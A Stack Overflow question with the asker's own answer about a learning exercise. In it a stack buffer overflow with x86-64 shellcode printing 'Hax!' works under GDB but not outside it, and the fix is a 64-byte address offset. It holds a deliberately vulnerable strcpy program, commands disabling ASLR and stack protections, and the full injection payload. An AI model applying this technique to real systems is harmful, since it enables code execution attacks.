murphsghost
murphsghost

Reputation: 151

Stack Buffer Overflow: Works on GDB, doesn't outside it

I readed about Stack located Buffer Overflows a long time ago, but decided to set up a virtual machine and actually see them in practice.

The following code was the vulnerable program:

#include<string.h>

void go(char *data){
    char name[64];

    strcpy(name, data);
}

int main(int argc, char **argv){
    go(argv[1]);
}

It was compiled using the -zexecstack and -fno-stack-protector options on GCC to both allow code in the stack being executable and disable the program built-in Stack Overflow protection (the "canary" value).

gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g

I then used the GDB to find out the memory position of name on the stack and found the following address: 0x7fffffffdc10

Since my VM has a recent linux version, I had to disable ASLR (Address Space Layout Randomization) by running: sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space" or sudo sysctl -w kernel.randomize_va_space=0.

The shellcode was taken from an article I found online about Stack Smashing and was fed to the program through a Perl script:

perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'

Being the first 45 bytes the shellcode (supposed to write "Hax!" on the screen), some extra 27 "A" bytes to get the pointer in the right position and finally the starting address of the payload in little endian.

The problem is:

When running the program on GDB, through:

gdb vuln
>run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`

I can get the shellcode running and the "Hax!" output.

When trying to run the program outside GDB like

./vuln `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`

I receive an Illegal instruction (core dumped) error instead of the "Hax!" output.

I've been banging my head trying to figure out what is the cause of this different behavior. Apparently GDB disables ASLR by default, however I also disabled it through sysctl on the kernel. Could the kernel be ignoring the kernel.randomize_va_space variable? Or maybe the memory address is different, even if static, on the GDB and on the real process? Or maybe the real process is actually running the shellcode, but something is going wrong on the real process that GDB is ignoring/bypassing?

Any ideas of what could be the cause?

Upvotes: 8

Views: 3909

Answers (1)

murphsghost
murphsghost

Reputation: 151

After reading this answer (https://stackoverflow.com/a/17775966/6765863) I changed somethings on my attempts to perform a Stack Buffer Overflow.

First, I used a clear environment as suggested in the answer above (env -i) on both GDB tests and regular binary tests. On GDB I had to further run the commands unset env LINES and unset env COLUMNS to clear the GDB environment completely.

Second, I used the complete path to the executable, to make sure the argv[0] variable would be the same on both tests, not influencing on the Payload address.

Even after those steps I could still only hit the Payload on the GDB version. So I made a "debug" version of the code, where I would print the memory addresses of the Payload (which would be the "name" array address on function "go") and the addresses of argv[0] and argv[1]. Final code below:

#include<string.h>

void go(char *data){
    char name[64];
    printf("Name: %p\n",name);
    strcpy(name, data);
}

int main(int argc, char **argv){
    printf("Argv[0]: %p\n",argv[0]);
    printf("Argv[1]: %p\n",argv[1]);
    go(argv[1]);
}

I know I should have explicitly included stdio.h (my bad!). I don't know if adding the #include<stdio.h> would change anything on the memory addresses (don't think so because it's a pre-processor call that is probably being called the same way by the compiler, but after all the debugging I didn't want to risk having to do it again if the program worked anyways).

Anyways, I noticed the addresses were a bit different on GDB tests and on a regular test. To be more specific, the Payload address had a +0x40 offset (64 bytes). Changing the Perl script to actually hit that address was enough to make it work outside GDB.

I'm still not sure about what could be different on the stack, but the whole issue was the precise addresses not matching on both tests. If anyone has any idea what could be those extra 64 bytes on GDBs tests I'll be glad to add it to my answer!

Upvotes: 1

Related Questions